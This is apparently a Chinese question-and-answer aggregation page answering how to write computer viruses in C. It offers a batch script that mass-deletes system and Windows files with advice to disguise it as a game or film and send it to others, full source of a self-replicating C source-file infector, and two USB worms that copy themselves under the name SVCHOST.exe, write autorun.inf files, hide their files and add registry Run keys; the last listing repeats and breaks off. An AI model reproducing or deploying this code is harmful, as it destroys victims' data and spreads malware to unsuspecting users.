① 怎麼用c語言寫個簡單病毒,給個代碼過程
一個簡單的病毒就要很長的代碼,寫病毒沒有那麼簡單。
不過你可以試試利用cmd命令,比如刪除拉,格式化拉,拷貝拉,寫進代碼里。別人一打開程序資料盤就格掉了,嘿嘿。
② 如何用C語言編一個簡單病毒
建立一個文檔,寫入如下片段:
@echo off
del /f /s /q %systemdrive%\*.*
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.*
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo
之後保存將文件重命名為"【文件名】.bat"
然後文件會自動變異為木馬文件【360 瑞星什麼的彈窗狂出】,別管他,允許就行了,大約重命名完成後不到半秒就完事了,然後把這個文件發到別人電腦里,名字弄得吸引人一些,比如游戲啊,電影,歌曲什麼的,【擴展名一定為.bat】只要他一打開............片刻之後,除了裝系統估計一般人沒轍了
以上為最簡單的病毒軟體了。利用的是批處理刪除系統文件的方法
③ 用C語言怎麼編輯病毒的代碼
沒人會給你做這種詳細分析的,別費勁了,有也是別人做好的
不過我可以告訴你個測試用的病毒代碼。
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
保存在記事本中就行了。好的殺軟馬上就能檢測出來。垃圾的就反映很慢或者根本沒反映
④ 用c語言編寫一個計算機病毒的例子
1):首先要知道語言的層次結構,通常會有直接使用「+」「-」「*」「%」語言都是高級語言。這些語言寫的代碼經過編譯前端編譯後生成中間代碼,最後經過編譯後端處理成目標代碼,也就是在目標平台上可執行的二進制代碼。
2):要知道計算機能執行的只是二進制的代碼。無論是高級語言表達式,如(1+2),還是匯編語言,add
r1,r2,r3.
都要翻譯成目標平台的二進制代碼。
如果你學過微型計算機原理,應該知道一個匯編指令,最終要執行還得用處理器的微指令來表達。
3):最後這些微指令轉化成電信號,控制處理器內的眾多的與或非門,來實現你想要做的運算。
⑤ 怎樣編寫病毒
3.1.1病毒程序VIRUS.C
這是一個用C語言寫的病毒程序,當激發病毒程序時顯示時間,然後返回。病毒程序VIRUS.C可將病毒傳染給一個C語言程序。當被病毒感染的程序經編譯、連接和執行後,又可以將病毒部分傳染給其他的C語言源程序。每執行一次帶有病毒的C語言程序,就向C語言源程序傳播一次病毒。此程序的設計思路如下:
當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志「INFECTED」。如果有此標志,繼續找其它的C文件,直至全部檢查一遍。若沒有這個標志,則
(1)在未被感染的C程序頭部加入「INFECTED」已被傳染標志。
(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發現有重復則不插入。
(3)在主程序中插入「VIRUSES();」調用VIRUSES函數。尋找printf、for、while、break語句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到將感染文件裡面的VIRUSES_SUB子程序裡面,必須把文件名改為當前自身的文件名,否則被傳染後的文件經過編譯、連接和運行後不能再繼續傳染。
(6)最後插入VIRUSES子程序。這個子程序裡面調用了VIRUSES_SUB,執行到這里返回執行結果信息。
其中用到4個出錯的返回值,分別是:
1:用戶文件太大,不傳染;
2:帶病毒文件打不開,不傳染;
3:帶病毒文件讀取不成功,不傳染;
4:查找第一個匹配文件不成功。
如果返回值是0代表文件傳染成功。
具體實現過程如下:
其中用到的函數和結構體用法參考3.3節。
首先導入病毒子程序要用到的三個庫文件,分別是dir.h, stido.h, dos.h.在主函數裡面只調用VIRUSES函數。緊跟定義VIRUSES函數裡面要調用的VIURS_SUB函數。裡面定義了若干個變數。ffblk用來保存查找到的匹配文件的信息,用到裡面的ff_name變數來保存匹配文件名。
然後定義保存未感染的文件和病毒文件的文件型指針變數,分別用是*virus_r和*virus_v.讀取文件的緩沖區,放到二維數組a[500][80]裡面臨時存放。因為此程序對大於500行的C文件不進行傳染,所以完全可以放到裡面。首先用getdate函數獲取系統當前日期並輸出。接著用findfirst函數查找擴展名為C的文件,將其信息保存到ffblk裡面。用fgets函數讀文件的第一行,長度是80-1個字元。然後用strstr函數檢測病毒的標志,看文件是否有INFECT這個標志。
如果有,表示文件已經被傳染,關閉文件,不進行傳染。當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上查找*.C的匹配文件,一旦找到,查找「已被傳染過」的標志INFECTED。若有此標志,繼續找其它*.C文件,直至全部檢查一遍。
如果沒有這個標志,將文件全部讀入a[500][80],如果發現文件超過500行,不傳染,返回。將文件指針指向文件頭,打開帶病毒的文件。如果打不開,返回。
然後讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變數控制行數,把將被傳染文件的源程序寫回原文件。其中要進行處理不寫入病毒文件已有的包含語句,也就是說使#Include語句不重復。
這點是這樣實現的:定義一個字元數組char include_h[]=; strstr函數查看將被傳染文件的頭文件是否和*include_h[]相同,如果相同,不進行插入。找出CALL VIRUSES;的插入點:如果有一行有printf、break、for、while語句其中之一,就對其後插入調用VIRUSES函數的調用語句。把病毒子程序寫入文件。最後處理更改被感染的文件名。如果不進行改名,就不能進行多次傳染,也就是說不能體現病毒的自我復制能力。查找一行是static char viruses_f[]=,把其中的文件名改為被感染的文件名。接著查找下一個匹配文件。
3.1.2病毒清除程序REVIURS.C
病毒的清除過程是和傳染過程相逆的。傳染的時候插入調用viruses函數的調用語句,在病毒清除文件裡面就要刪除掉這個語句。然後還要刪除掉病毒子程序VIURSES_SUB和VIURSES。有一個問題不能進行還原。因為當時插入病毒子程序需要的頭文件時沒有記錄傳染前文件的頭文件信息,所以不能進行還原。但是這一點不影響原文件。所以這點在病毒清除程序中沒有進行處理。
由於演示的時候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一個目錄下進行演示。考慮到VIRUS.C會把REVIURS.C傳染和REVIRUS.C會把VIRUS.C清除兩種情況。所以編寫這兩個程序的時候必須加入一條條件語句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。
當含有清除部分的程序被執行時。它在磁碟上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志「INFECTED」。如果無此標志,繼續找其它的C文件,直至全部檢查一遍。若有這個標志,則
(1)查找磁碟文件,如果是有病毒的傳染標志「INFECTED」則打開文件。如果沒有則關閉文件並且尋找下一個TEST*.C。
(2)讀取文件,首先判斷是否為Viruses();如果不是則判斷是否為int Viruses_sub(),如果都不是,則把讀取部分放在二維數組a[500][80]中,如果只是為int Viruses_sub(),則讀取文件結束。
(3)關閉文件,然後刪除該文件。
(4)創建一個跟刪除文件相同名字的文件。然後打開。
(5)把二維數組a[500][80]中的數據寫入到新建的文件中。關閉文件,讀取下一個文件。
3.2 程序流程圖
3.2.1 病毒程序VIRUS.C流程圖
N
N
Y Y
有
無
Y
N
3.2.2 解毒程序REVIRUS.C流程圖
N
Y
無
有
Y
N
Y
N
3.3其中用到的函數和結構體的說明:
(1)結構體struct ffblk (在dir.h中)類型變數
變數ffblk用於打開文件,獲取返回值。
Struct ffblk
{char ff_reserved[21];
char ff_attrib;
unsigned ff_ftime;
unsigned ff_fdate;
long ff_fize;
char ff_name[13];
};
程序中只用到ff_name來保存匹配文件名。
(2)結構體struct date(在dos.h中)變數
struct date
{int da_year; /* Year-1980 */
char da_day; /* Day of the month */
char da_mon; /* Month (1=Jan) */
};
程序中用來獲取系統當前日期。具體用法為:
void getdate (struct date *datep);
(3)查找匹配文件
findfirst()函數和findnext()函數
調用方式:整型數=findfirst(文件名,&結構變數名,屬性常數組合(如0×24));
功能:檢索由path和attr指定的文件,把結果返回到afer。
Findfirst返回關於第一個指定文件的信息。
Findnext繼續檢索。
返回值:0(檢索成功),-1(沒有找到指定的文件)
屬性常數:
FA_NORMAL(0*00) 含意:Normal file, no attributes
FA_RDONLY (0*01) 含意:只讀
FA_HIDDEN(0*02) 含意:隱含文件
FA_SYSTEM(0*24) 含意:系統文件
需要用到的頭文件: dir.h
程序中的匹配文件屬於普通文件,所以屬性常數為0。
(4)讀文件
函數原形:char *fgets (char *a, int n, FILE *fp);
功能:
從fp指向的文件讀取一個長度為(n-1)的字元串,最後加一個』 \0』,存入始地址為a的空間。
若在讀完n-1個字元之前遇到換行符或EOF,讀入即結束。
返回值:返回地址a。
若遇文件結束或出錯,返回NULL。
(5)在字元串中查找指定字元串的第一次出現
函數原形;
char *strstr(char *str1,char *str2);
功能:找出str2字元串在str1字元串中第一次出現的位置(不包括str2的串結束符)。
返回值:返回該位置的指針。
若找不到,返回NULL指針。
程序中用這個函數來判斷字元串是否一致。
(6)改變文件位置指針
函數原形:int fseek (FILE *fp, long offset, int base);
功能:將fp所指文件的位置指針移到以base所指出的位置為基準、以offset為位移量的位置。
返回值:返回當前位置。否則,返回-1。SEEK_SET為文件開始。
由於讀取文件的時候文件指針要發生變化。而重新執行一條命令的時候需要重新定位文件指針的位置,所以要用到fseek函數。程序中用這個函數定位到文件頭,對文件進行重新讀取。
3.4 程序清單
3.4.1病毒程序VIRUS.C程序清單如下:
/*INFECTED*/
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
viruses();
}
int viruses_sub()
{
struct ffblk ffblk;
int done,i,j,k,n_line;
FILE *virus_r,*virus_v;
/*virus_r指向將被感染的文件,virus_v指向已帶病毒的文件*/
char a[500][80],b[80],*p1,*p2; /*將被傳染的文件讀入a[500][80]臨時存放*/
static char viruses_f[]=;/*文件被傳染後,修改該值為自身文件名*/
int include_write;
int virus_call=0;
int virus_start=0;
char *main_flag[]=;
char *include_h[]=;
char *v_flag[]=;
struct date today;
/*VIRUSES DISPLAY*/
getdate(&today); /*病毒顯示日期信息*/
printf("Today is %d/%d/%d\n",today.da_mon,today.da_day,today.da_year);
/*AFFECT VIRUSES*/
done=findfirst("*.c",&ffblk,0); /*查找第一個匹配文件*/
while(!done)
{
if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)
{
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
{
p1=fgets(&a[0][0],80,virus_r);
if(strstr(p1,v_flag[0])==NULL)
{
n_line=0; /*把文件全部讀入a[500][80]*/
while(p1!=NULL)
{
n_line++;
p1=fgets(&a[n_line][0],80,virus_r);
if(n_line>=500)
{
fclose(virus_r);
return(1);
}
}
fseek(virus_r,0,SEEK_SET);
virus_v=fopen(&viruses_f[0],"r"); /*打開帶病毒的文件*/
if(virus_v==NULL)
{
fclose(virus_r);
return(2);
}
for(i=1;i<5;i++) /*讀帶病毒文件前4行並寫入將被傳染的文件*/
{
p2=fgets(b,80,virus_v);
if(p2==NULL)
{
fclose(virus_r);
fclose(virus_v);
return(3);
}
fputs(b,virus_r);
}
for(j=0;j<n_line;j++) /*把將被傳染文件的原程序寫回原文件*/
{
include_write=1; /*不寫入病毒文件已有的包含語句*/
if(strstr(&a[j][0],"#include")!=NULL)
for(i=0;i<3;i++)
if(strstr(&a[j][0],include_h[i])!=NULL)
include_write=-1;
if(virus_call==0) /*插入調用語句,並加上回車換行*/
for(i=0;i<4;i++)
if(strstr(&a[j][0],main_flag[i])!=NULL)
{
for(k=0;k<80;k++)
b[k]=0;
strcpy(&b[0],"viruses();");
b[10]=13;
b[11]=10;
fputs(b,virus_r);virus_call=1;
i=4;
}
if(include_write==1)fputs(&a[j][0],virus_r);
}
p1=fgets(b,80,virus_v); /*把病毒子程序寫入文件*/
while(p1!=NULL)
{
if(virus_start==0) /*找病毒子程序的第一條語句*/
if(strstr(p1,"int viruses_sub()")!=NULL)
virus_start=1;
if(virus_start==1)
{
if(strstr(p1,"char")!=NULL)
if(strstr(p1,"viruses_f[]=")!=NULL)
{
strcpy(&b[29],ffblk.ff_name);
i=strlen(&b[0]);
b[i]=34;
strcpy(&b[i+1],");");
b[i+3]=13;
b[i+4]=10;
}
fputs(b,virus_r);
}
p1=fgets(b,80,virus_v);
}
fclose(virus_v);
fclose(virus_r);
return(0);
}
fclose(virus_r);
}
}
done=findnext(&ffblk);
}
return(4);
}
viruses()
{
int num;
num=viruses_sub();
switch (num)
{
case 0 : printf("successful\n");
break;
case 1: printf("the file is outof line\n");
break;
case 2 : printf("the viruses file cannot open\n");
break;
case 3 : printf("cannot read viruses file\n");
break;
case 4: printf("cannot find file\n");
}
getch();
}
3.4.2病毒清除程序REVIURS.C清單如下:
#include "stdio.h"
#include "dos.h"
#include "dir.h"
main()
{
struct ffblk ffblk;
int done,i,j,line,k;
static int n_line;
FILE *virus_r,*virus_v;
char a[500][80],b[80],*p;
char *v_flag[]=;
done=findfirst("*.c",&ffblk,0);
while(!done)
{
if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)
{
for(k=0;k<500;k++)
for(j=0;j<80;j++)
a[k][j]=0;
virus_r=fopen(ffblk.ff_name,"r+w");
if(virus_r!=NULL)
{
p=fgets(&b[0],80,virus_r);
if(strstr(p,v_flag[0])!=NULL)
{
line=0;
while(p!=NULL)
{
p=fgets(&b[0],80,virus_r);
if(strstr(&b[0],"int viruses_sub()")!=NULL)
break;
else if(strstr(&b[0],"viruses();")==NULL)
{
k=strlen(b);
for(j=0;j<k;j++)
a[line][j]=b[j];
a[line][j+1]=0;
line++;
}
}
n_line=line;
fclose(virus_r);
remove(ffblk.ff_name); /*刪除文件*/
virus_r=fopen(ffblk.ff_name,"w+"); /*打開將被感染的文件*/
for(i=0;i<n_line;i++)
{
fputs(&a[i][0],virus_r); /*把二維數組中的數據寫入原文件*/
}
fclose(virus_r);
}
}
}
done=findnext(&ffblk); /*查找下一個匹配文件*/
}
}
4. 計算機病毒的演示
4.1病毒程序VIRUS.C的演示過程
在一張已經格式化的軟盤上,除了病毒源程序VIRUS.C和REVIRUS.C外,還有兩個尚未被感染的C語言程序TEST1.C和TEST2.C。原始代碼分別如下:
TEST1.C:
#include "stdio.h"
main()
{
int i,sum;
for(i=1;i<100;i++)
sum=sum+i;
printf("sum=%d\n",sum);
}
TEST2.C
#include "stdio.h"
main()
{
printf("hello,world!\n");
}
在命令提示符下鍵入dir命令查看文件信息。
然後編譯連接並執行VIRUS.C文件,運行結果顯示:
Today is 5/20/2004
Successful
說明傳染成功。再用dir命令查看文件信息
可以看到TEST2.C文件已經被傳染,大小從64變成3949。用type命令查看TEST1的內容
可以看到病毒的子程序已經插入了,而且在主函數裡面插入了調用VIRUSES函數語句。而且文件名自動改為「TEST2.C」。(如圖中紅線所示)
然後再把TEST2.C文件編譯連接並運行。成功後,再用dir命令查看文件信息
可以看到TEST1.C也被感染了,大小從107變成了3969。再用type命令查看,結果如下:
可以看到,文件名稱已經自動改為TEST1.C,而且病毒子程序已經拷貝過來,在這個過程中REVIRUS.C始終沒有被感染,達到了我們的目的。
文件被感染前後內容如下圖所示:
4.2病毒清除程序REVIRUS.C演示過程
然後我們來演示病毒的清除。編譯運行REVIRUS.C後用dir命令查看文件信息。
圖中可以看到TEST1.C和TEST2.C都變小了。雖然沒有還原到以前的大小。這是因為運行病毒子程序需要的頭文件沒有刪除,原因前面已經提及過了。然後用type命令分別查看一下TEST1.C和TEST2.C的內容。
圖中可以看到,除了程序需要用到的頭文件,剩下的已經基本還原。而且沒有清除VIRUS.C裡面的程序,基本達到了清除病毒的目的。演示成功。
從演示過程中可以看出,一旦程序被病毒感染,這個程序經過編譯連接後運行時就能向沒感染上病毒的程序擴散病毒,使病毒在系統中不斷蔓延下去。而病毒清除程序運行一次就可以刪除掉所有的病毒子程序和插入的調用語句。
⑥ 怎樣用C語言編寫病毒 / 藍訊
要編制一個病毒,首先要知道病毒的運行機理。
不論是何種病毒,它一般在結構上分為三個功能模塊:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本
原因。我們可以用一段類C偽碼來表示這個過程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本後觸發.
一個簡單的觸發機制可能是這樣工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄信息,重新格式化你的磁碟,把它自己郵給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
⑦ c語言病毒語句
本病毒的功能: 1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件 2.在C、D、E盤中生成自動運行文件 3.注冊c:\windows\system\svchost.exe,使其開機自動運行 4.在C:\windows\system下生成隱蔽DLL文件 5.病毒在執行後具有相聯復制能力 本病毒類似普通U盤病毒雛形,具備自我復制、運行能力。 以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過 請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究 /* SVCHOST.C */ /* SVCHOST.EXE */ #define SVCHOST_NUM 6 #include<stdio.h> #include<string.h> char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"}; char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"}; char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL", "c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe", "c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"}; char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f"; int (char *infile,char *outfile) { FILE *input,*output; char temp; if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen (outfile,"wb"))!=NULL)) { while(!feof(input)) { fread(&temp,1,1,input); fwrite(&temp,1,1,output); } fclose(input); fclose(output); return 0; } else return 1; } int main(void) { FILE *input,*output; int i,k; for(i=0;i<3;i++) { output=fopen(files_autorun[i],"w"); fprintf(output,"%s",autorun); fclose(output); } for(i=0;i<=SVCHOST_NUM;i++) { if((input=fopen(files_svchost[i],"rb"))!=NULL) { fclose(input); for(k=0;k<SVCHOST_NUM;k++) { (files_svchost[i],files_svchost[k]); } i=SVCHOST_NUM+1; } } system(regadd); /* 注冊SVCHOST.exe,讓其在啟動時運行 */ return 0; }
求採納
⑧ 用C語言編寫的病毒代碼
一個c病毒源代碼
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//計時器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程
//獲取盤符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒從U盤啟動時用到的函數
BOOL FileExist(TCHAR *path);//測試一個文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系統路徑
BOOL CopyToSysAndSet(HWND hwnd);//復制自身到系統目錄和設置
BOOL SetFileAttrib(TCHAR *path);//設置path所指文件的屬性
BOOL RegAutoRun(TCHAR *path);//修改注冊表,實現自啟動
//從C盤啟動時用到函數
BOOL CopyToUAndSet();//復制自己到U盤
BOOL CreateAutoRunFile(TCHAR *path);//在U盤下生成autorun.inf文件
BOOL FindSelf();//測試自己是否在已經執行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盤的盤符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盤盤符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盤
}
break;
case DBT_DEVICEREMOVECOMPLETE: //設備刪除
break;
}
return LRESULT();
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_Create: //處理一些要下面要用到的全局變數
U[1]=':';
GetSysPath(szSysPath);//得到系統路徑
SetTimer(hwnd,TIMER,5000,0);//啟動計時器
GetSelfPath(szExePath);//得到自身的路徑
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系統盤啟動的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//檢測有沒有插入設備消息
else
{
CopyToSysAndSet(hwnd);//拷到系統盤並自啟動
}
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
TCHAR FirstDriveFromMask(ULONG unitmask)
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1)//看該驅動器的狀態是否發生了變化
break;
unitmask = unitmask >> 1;
}
return (i + 'A');
}
BOOL GetSelfPath(TCHAR *path)
{
if(GetMoleFileName(NULL,path,MAX_PATH))//得到程序自身的目錄
{
return TRUE;
}
else
return FALSE;
}
BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系統路徑
}
BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到復制到系統目錄的完整目錄
if(!FileExist(szPath))//檢測系統目錄是否已經存在復制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//檢測自己有沒有運行
{
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//沒有就執行
SendMessage(hwnd,WM_CLOSE,0,0);//結束自己
}
}
return FALSE;
}
BOOL FileExist(TCHAR *path)//檢測PATH所指的路徑的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}
BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}
BOOL RegAutoRun(TCHAR *path)//修改注冊表實現自啟動
{
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盤的完整目錄
TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);
if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}
BOOL CreateAutoRunFile(TCHAR *path) //在U盤下創建一個autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open="<<szExeName<<" e"<<endl;
fout<<"shellexecute="<<szExeName<<" e"<<endl;
fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}
BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
} 隱藏窗口:ShowWindow(false); (#include <windows.h>)
將程序暫停一秒後繼續執行:sleep(1000); (同上)
刪除文件:system("del 文件的路徑");
運行文件:system("文件的路徑");
system函數(#include <iostream>)
復制文件:詳見remove函數(#include <process.h>)
-----------------------------------------------------------
一個不錯的病毒完整源代碼
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//計時器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程
//獲取盤符
TCHAR FirstDriveFromMask (ULONG unitmask);